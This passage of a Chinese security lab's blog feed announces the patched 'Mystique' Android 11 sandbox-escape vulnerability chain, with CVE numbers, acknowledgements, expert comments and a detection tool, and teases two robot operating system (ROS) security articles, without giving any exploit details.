    <content type="html"><![CDATA[<p><img src="/mystique/logo.png" alt="" /><br /><img src="/mystique/up.png" width = "300" height = "20" alt="图片名称" align=center /></p><center><a class="btn" href="/mystique/vul_scan.apk" rel="contents">漏洞检测工具下载，测测你的设备是否安全!</a></center><br /> <img src="/mystique/down.png" width = "300" height = "20" alt="图片名称" align=center /><span id="more"></span><a href="/mystique-en" class="post-title-link" itemprop="url">For English version please click here.</a><h2 id="什么是魔形女漏洞"><a class="markdownIt-Anchor" href="#什么是魔形女漏洞"></a> 什么是魔形女漏洞？</h2><p>“魔形女”漏洞展示了一个此前未曾发现的新的攻击路径，在最新的安卓11（漏洞发现时最新的Android版本）上能够稳定打破安卓应用沙箱防御机制。通过多个零日漏洞组合，攻击者的零权限恶意应用程序可以在用户无感知的情况下绕过安卓应用沙箱，攻击任何其他应用，如Facebook、WhatsApp等。读取应用程序的数据，获取应用权限。我们给这条链命名“魔形女”源于著名的漫威漫画人物，因为它拥有类似的能力。</p><h2 id="是远程代码执行漏洞吗"><a class="markdownIt-Anchor" href="#是远程代码执行漏洞吗"></a> 是远程代码执行漏洞吗？</h2><p>不是，“魔形女”本身是一个本地权限提升漏洞。但可与其他远程漏洞相结合，例如可配合另外一个我们发现的RCE漏洞: CVE-2021-0515（该漏洞会另行介绍）。</p><h2 id="漏洞修复了吗"><a class="markdownIt-Anchor" href="#漏洞修复了吗"></a> 漏洞修复了吗？</h2><p>是的。漏洞已经报送给各个相关厂商，并得到了公开致谢。已公开的漏洞编号为：CVE-2021-0691, CVE-2021-25450, CVE-2021-0515, CVE-2021-25485, CVE-2021-23243等。安卓12系统和2021年9月安全补丁版本以上的安卓11系统已修复该漏洞，部分厂商也已在更早前backport了对应的补丁。您可用我们提供的检测工具来检测您的系统是否被该漏洞攻击。</p><h2 id="历史上出现过类似的漏洞吗这个漏洞有什么特殊的价值"><a class="markdownIt-Anchor" href="#历史上出现过类似的漏洞吗这个漏洞有什么特殊的价值"></a> 历史上出现过类似的漏洞吗？这个漏洞有什么特殊的价值？</h2><p>安卓历史上也偶尔出现过能够获取所有APP隐私数据和权限的用户态漏洞，但随着近年来安卓防御机制的增强和代码质量的提高，能达到类似攻击效果的漏洞可谓凤毛麟角，而本次利用原本固若金汤的安卓沙箱防御机制的微小缺陷，结合各大手机厂商设备中零日漏洞组合设计的”魔形女“漏洞链，从用户侧打破了App包安装后包文件只读的默认假设。</p><h2 id="这个漏洞跟手机硬件相关吗影响范围多大"><a class="markdownIt-Anchor" href="#这个漏洞跟手机硬件相关吗影响范围多大"></a> 这个漏洞跟手机硬件相关吗？影响范围多大？</h2><p>不相关，所有未打补丁的安卓11手机都会受到此漏洞的影响，鸿蒙不受影响（沸腾了！）。根据版本装机量统计，目前全球约有至少8亿的Android设备受影响。</p><h2 id="绕过了什么安全防御机制"><a class="markdownIt-Anchor" href="#绕过了什么安全防御机制"></a> 绕过了什么安全防御机制？</h2><p>安卓沙箱防御：每个安卓应用都运行在自己的沙箱内，应用代码是在与其他应用隔离的环境中运行，数据也默认互相隔离；默认情况下，每个应用都在其自己的Linux进程内运行，其他应用不能访问，并受MAC SELinux机制沙箱限制，就像酒店的每个房间都有自己的钥匙，不同房间的客人不能默认互相串门一样。同时，针对内存破坏漏洞还有ASLR、Stack cookie甚至CFI等机制防御。</p><p>但<code>魔形女</code>漏洞绕过了这些防线，获得了酒店房间的<code>万能钥匙</code>。</p><h2 id="致谢"><a class="markdownIt-Anchor" href="#致谢"></a> 致谢</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">CVE-2021-0691:  A-188554048 EoP 11 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-0691)</span><br><span class="line">CVE-2021-0515:  A-167389063 RCE8.1, 9, 10, 11 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-0515)</span><br><span class="line">SVE-2021-21943 (CVE-2021-25450): Affected versions: O(8.1), P(9.0), Q(10.0), R(11.0) (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25450)</span><br><span class="line">SVE-2021-22636 (CVE-2021-25485): Affected versions: Q(10.0), R(11.0) (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25485)</span><br><span class="line">CVE-2021-23243 EoP (https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-23243)</span><br></pre></td></tr></table></figure><p>Android致谢：<a href="https://source.android.com/security/overview/acknowledgements">https://source.android.com/security/overview/acknowledgements</a><br />三星致谢：<a href="https://security.samsungmobile.com/securityUpdate.smsb">https://security.samsungmobile.com/securityUpdate.smsb</a><br />Oppo致谢：<a href="https://security.oppo.com/cn/noticeDetail?notice_only_key=20211632987608199">https://security.oppo.com/cn/noticeDetail?notice_only_key=20211632987608199</a></p><h2 id="行业专家点评排名不分先后"><a class="markdownIt-Anchor" href="#行业专家点评排名不分先后"></a> 行业专家点评(排名不分先后)</h2><ul><li>徐昊 Pangu Team/犇众信息联合创始人兼CTO</li></ul><p>该研究成果向我们展示了串联漏洞的攻击威力。通过AOSP中的一行变更产生的逻辑隐患，再结合不同厂商的前置漏洞利用，可以达到读取APP数据、注入APP代码执行等非常有实际价值的攻击。</p><ul><li>王琦（大牛蛙）  KEEN和GeekPwn创办人</li></ul><p>Mystique漏洞特点准通杀、影响面广、利用稳定。类似的漏洞公开发现的已经很少，且因角度新颖即使在野利用也不易被发现。安卓生态会因为这种遗珠式漏洞的修复变得更加安全。</p><ul><li>陈良  著名安全研究专家，三度“世界破解大师”（Master of PWN）</li></ul><p>这是一种在安卓框架下非常新颖的攻击模式，可以隐蔽的窃取用户隐私甚至控制手机。</p><h2 id="检测工具"><a class="markdownIt-Anchor" href="#检测工具"></a> 检测工具</h2><p>我们提供的检测工具和SDK可供使用者检测</p><ol><li>自己的手机是否曾被该漏洞的攻击代码攻击过</li><li>开源链接：<a href="https://github.com/DawnSecurityLab/Mystique_Detection_SDK">https://github.com/DawnSecurityLab/Mystique_Detection_SDK</a><br />结果仅供参考，可能有不准确的地方。如有疑虑请联系我们 dawnsecuritylab # <a href="http://jd.com">jd.com</a>。</li></ol><p><a href="/mystique/vul_scan.apk" class="post-title-link" itemprop="url">下载链接</a></p><h2 id="自动化漏洞挖掘框架"><a class="markdownIt-Anchor" href="#自动化漏洞挖掘框架"></a> 自动化漏洞挖掘框架</h2><p>自动化漏洞挖掘框架是京东安全自研的自动化/半自动化漏洞挖掘框架，基于人工智能的静态程序分析和动态模糊测试技术，结合专家经验，可对泛IoT设备/系统、APP等进行全面而深入的漏洞挖掘和隐私风险发现，从源头上及时发现并切断风险。仅在上半年我们使用该框架挖掘了数十个CVE，此次<code>魔形女</code>漏洞的发现即借助了该框架的能力。</p><p>现框架开放内测中，有兴趣的研究团队/企业，欢迎垂询实验室邮箱 dawnsecuritylab # <a href="http://jd.com">jd.com</a>。</p><h2 id="研究成果发表和细节披露计划"><a class="markdownIt-Anchor" href="#研究成果发表和细节披露计划"></a> 研究成果发表和细节披露计划</h2><p>为了保护终端用户，鉴于修复情况，我们不会立即发布漏洞细节，我们会在11月份的相关会议上发表和披露该项研究细节。敬请期待。</p><div id="dplayer4" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer4"),"loop":"yes","screenshot":"yes","video":{"url":"https://dawnslab.jd.com/mystique/Mystique-demo.mp4"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script> ]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;img src=&quot;/mystique/logo.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
&lt;img src=&quot;/mystique/up.png&quot; width = &quot;300&quot; height = &quot;20&quot; alt=&quot;图片名称&quot; align=center /&gt;&lt;/p&gt;
&lt;center&gt;&lt;a class=&quot;btn&quot; href=&quot;/mystique/vul_scan.apk&quot; rel=&quot;contents&quot;&gt;漏洞检测工具下载，测测你的设备是否安全!&lt;/a&gt;&lt;/center&gt;
&lt;br /&gt;
 &lt;img src=&quot;/mystique/down.png&quot; width = &quot;300&quot; height = &quot;20&quot; alt=&quot;图片名称&quot; align=center /&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>探秘ROS安全系列(二) 机器人操作系统ROS安全方案及趋势</title>
    <link href="https://dawnslab.jd.com/rossec02/"/>
    <id>https://dawnslab.jd.com/rossec02/</id>
    <published>2021-09-14T09:32:18.000Z</published>
    <updated>2025-08-21T06:15:24.199Z</updated>
    
    <content type="html"><![CDATA[<p>    近年来国内外机器人产业不断升温，智能服务机器人已逐渐进入大众视野。其中不少厂家都在使用Robot Operation System（机器人操作系统，简称ROS）但由于ROS最初诞生于实验室环境并以科研为目标场景，因此一开始缺乏系统整体性安全设计。随着ROS项目开源和广泛应用，很多安全问题随之暴露，成为安全从业者研究的热门方向。<span id="more"></span><br />    《探秘ROS安全系列》是京东安全自主研究和编写的系列文章，此系列将从ROS简介＆背景、安全分析与设计、安全方案与趋势、安全方案详解、京东ROS安全研究实践等部分，详细介绍京东安全对于ROS安全的研究和实践，希望能够与大家一同探讨。<br />    本文是整个系列第二期，将从ROS安全方案和安全研究趋势两部分内容出发，供大家了解现有ROS安全研究情况。<br /><a href="/rossec02/ros2.pdf" class="post-title-link" itemprop="url">全文</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;    近年来国内外机器人产业不断升温，智能服务机器人已逐渐进入大众视野。其中不少厂家都在使用Robot Operation System（机器人操作系统，简称ROS）但由于ROS最初诞生于实验室环境并以科研为目标场景，因此一开始缺乏系统整体性安全设计。随着ROS项目开源和广泛应用，很多安全问题随之暴露，成为安全从业者研究的热门方向。</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>探秘ROS安全系列(一) 机器人操作系统ROS及其安全演进</title>
    <link href="https://dawnslab.jd.com/rossec01/"/>
    <id>https://dawnslab.jd.com/rossec01/</id>
    <published>2021-09-14T06:50:42.000Z</published>
    <updated>2025-08-21T06:15:24.194Z</updated>
    
    <content type="html"><![CDATA[<p>    近年来国内外机器人产业不断升温，智能服务机器人已逐渐进入大众视野。其中不少厂家都在使用Robot Operation System（机器人操作系统，简称ROS）但由于ROS最初诞生于实验室环境并以科研为目标场景，因此一开始缺乏系统整体性安全设计。随着ROS项目开源和广泛应用，很多安全问题随之暴露，成为安全从业者研究的热门方向。<span id="more"></span><br />    《探秘ROS安全系列》是京东安全自主研究和编写的系列文章，此系列将从ROS简介＆背景、安全分析与设计、安全方案与趋势、安全方案详解、京东ROS安全研究实践等部分，详细介绍京东安全对于ROS安全的研究和实践，希望能够与大家一同探讨。<br />    本文是整个系列第一期，将从ROS背景、安全分析与设计两部分出发，供大家了解ROS基本情况和安全威胁与设计。</p><p><a href="/rossec01/ros1.pdf" class="post-title-link" itemprop="url">全文</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;    近年来国内外机器人产业不断升温，智能服务机器人已逐渐进入大众视野。其中不少厂家都在使用Robot Operation System（机器人操作系统，简称ROS）但由于ROS最初诞生于实验室环境并以科研为目标场景，因此一开始缺乏系统整体性安全设计。随着ROS项目开源和广泛应用，很多安全问题随之暴露，成为安全从业者研究的热门方向。</summary>
    
    
    
    
  </entry>
  
</feed>
